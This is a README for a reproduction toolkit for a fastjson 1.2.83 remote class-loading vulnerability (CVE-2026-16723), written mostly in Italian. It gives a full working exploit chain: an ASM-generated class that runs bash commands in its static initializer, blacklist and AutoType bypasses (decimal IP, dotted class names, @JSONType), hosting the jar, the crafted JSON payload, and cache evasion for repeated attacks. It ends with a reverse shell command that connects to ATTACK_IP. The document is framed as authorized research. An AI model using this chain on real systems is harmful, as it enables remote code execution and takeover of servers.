
Toolkit di riproduzione per CVE-2026-16723 - fastjson 1.2.83 jar: generatore di payload per il caricamento remoto di classi (POC.class costruito con ASM con @JSONType + esecuzione in clinit)
Scopo: utilizzo per la riproduzione della vulnerabilità CVE-2026-16723. Questo repository è il generatore di classi malevole (generatore di payload) per la catena di caricamento remoto di classi
jar:di fastjson 1.2.83 — utilizza ASM per generare a runtime una classe con annotazione@JSONTypeche esegue comandi arbitrari nel<clinit>, da usare insieme al target CVE-2026-16723 (Spring Boot + fastjson 1.2.83) per completare la riproduzione completa da "invio del payload" a "esecuzione del comando". Solo per verifica di vulnerabilità e ricerca difensiva in ambienti autorizzati.
GenProbe2.java non è l'exploit vero e proprio, ma il primo passo per generare il payload: produce POC.class, che va impacchettato in un file jar senza estensione e posizionato su un server HTTP; poi si fa deserializzare al fastjson target un nome di classe che punta a quel jar, e la JVM target scaricherà e caricherà POC tramite il protocollo jar:, attivando il blocco statico.
La classe generata presenta tre scelte progettuali deliberate, ciascuna corrispondente al superamento/aggiramento di un ostacolo reale:
| Caratteristica del generato | Funzione |
|---|---|
Annotazione a livello di classe @com.alibaba.fastjson.annotation.JSONType(orders = {"x"}) | Fa sì che la fase di scansione delle annotazioni di fastjson classifichi la classe come hasJsonType, aggirando la validazione della whitelist AutoType (in 1.2.83 autoType è disabilitato per default; le classi con @JSONType seguono un altro ramo di autorizzazione) |
static {} (<clinit>) con Runtime.getRuntime().exec(new String[]{"bash","-c",CMD}) | Esecuzione al caricamento della classe. Chiamando exec nella forma String[] equivale a bash -c CMD, quindi qualsiasi sintassi bash in CMD (pipe, redirezioni, $(), reverse shell, ecc.) è valida (non soggetta ai limiti di tokenizzazione di exec(String)) |
Nome della classe interna = jar:http://IP:PORT/<jarName>!/<entryName> (URL con : / !) | Cambiando ogni volta jarName/entryName (es. probe2/POC2) il nome della classe interna diventa una stringa completamente nuova, aggirando la cache delle classi omonime della JVM — il servizio target può essere colpito ripetutamente con comandi diversi senza riavvio |
ASM non valida la legalità del nome di classe passato a visit; ClassWriter.COMPUTE_FRAMES si occupa del calcolo dei frame dello stack; la tabella delle eccezioni avvolge l'intero blocco di esecuzione del comando (catch (Exception) {}), garantendo che anche un fallimento di exec non faccia lanciare errori al caricatore esponendolo.
| Ruolo | Segnaposto | Descrizione |
|---|---|---|
| Macchina d'attacco | ATTACK_IP / decimale ATTACK_IP_DEC | Ospita il jar malevolo, invia il payload |
| Macchina target | TARGET:8080 | Spring Boot + fastjson 1.2.83 |
| Jar del laboratorio | fastjson-cve202616723-0.0.1-SNAPSHOT.jar | Deve essere la versione già patchata (ParserConfig.getGlobalInstance().setDefaultClassLoader(...)) |
ATTACK_IP_DEC è l'intero decimale dell'IP della macchina d'attacco (192.168.1.1 → 3232235777); usando il decimale si evita la blacklist dei letterali IP.
Nella directory di lavoro del generatore creare cmd.txt; la prima riga è il comando da eseguire (il generatore lo esegue con bash -c, supportando |, >, $(), reverse shell). Prima eseguire una verifica minima:
touch /tmp/CUSTOM_RCE_$(whoami)
Le righe che iniziano con # vengono saltate; in assenza di cmd.txt il valore predefinito è touch /tmp/PWNED_CVE-2026-16723.
# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC
Produce out\POC.class, nome interno della classe = jar:http://ATTACK_IP:8888/probe!/POC, la console stamperà "verrà eseguito il comando".
cd out
jar cvf ..\probe POC.class
Tre requisiti obbligatori:
probe, non probe.jar;POC.class) deve corrispondere all'entryName utilizzato al momento della generazione.python -m http.server 8888 # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧
Entrambi devono mostrare 200 e il numero corretto di byte prima di procedere.
java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动
La trappola più grande: PowerShell divora le virgolette doppie del JSON, con -d '{"@type":...}' diretto diventa {@type:...}, la macchina target risponde illegal identifier : @pos 1, non si arriva nemmeno allo step di download del jar (nella finestra HTTP non si vede nemmeno una richiesta).
Procedura corretta: salvare il payload in un file e usare --data-binary "@file". payload.json:
{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}
Nota sulla sintassi: il punto sostituisce la barra e .class — jar:http:..IP:PORT.jar名!.类名 è JSON valido, usato per aggirare la blacklist; fastjson ripristina il percorso della risorsa jar:http://IP:PORT/probe!/POC.class e poi effettua il download tramite ClassLoader.getResourceAsStream().
curl.exe -s -X POST http://TARGET:8080/api/products/search `
-H "Content-Type: application/json" `
--data-binary "@payload.json"
Restituisce parse ok = parsing fastjson riuscito (non equivale a esecuzione del comando riuscita, vedere il passaggio 7).
ls -la /tmp/ | grep CUSTOM_RCE # 期望 /tmp/CUSTOM_RCE_<user>
Anche il traffico HTTP della macchina attaccante mostrerà GET /probe (di solito 2 volte: una per la scansione delle annotazioni, una per il caricamento effettivo). I comandi senza output possono essere confermati come eseguiti solo tramite "file scritto su disco / callback / reverse shell".
La JVM carica una classe con lo stesso nome una sola volta, <clinit> viene eseguito una sola volta, e le richieste successive con lo stesso nome colpiscono la cache. Due approcci:
cmd.txt, rigenerare con un nuovo nome jar + nome classe (ad es. p2/POC2), impacchettare, posizionare, e cambiare il payload in {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1};probe originale può essere nuovamente attivato.Quando si cambia porta (8888↔8889) modificare tutti e tre i punti insieme: il parametro della porta nella generazione della classe, la porta nel payload e la porta effettiva del servizio HTTP.
Prima riga di cmd.txt:
bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1
L'attaccante in ascolto (su Windows senza nc, usare WSL nc -lvnp 9999), quindi ripetere i passaggi 2~6 per rigenerare, distribuire e inviare (si consiglia di cambiare il nome della classe).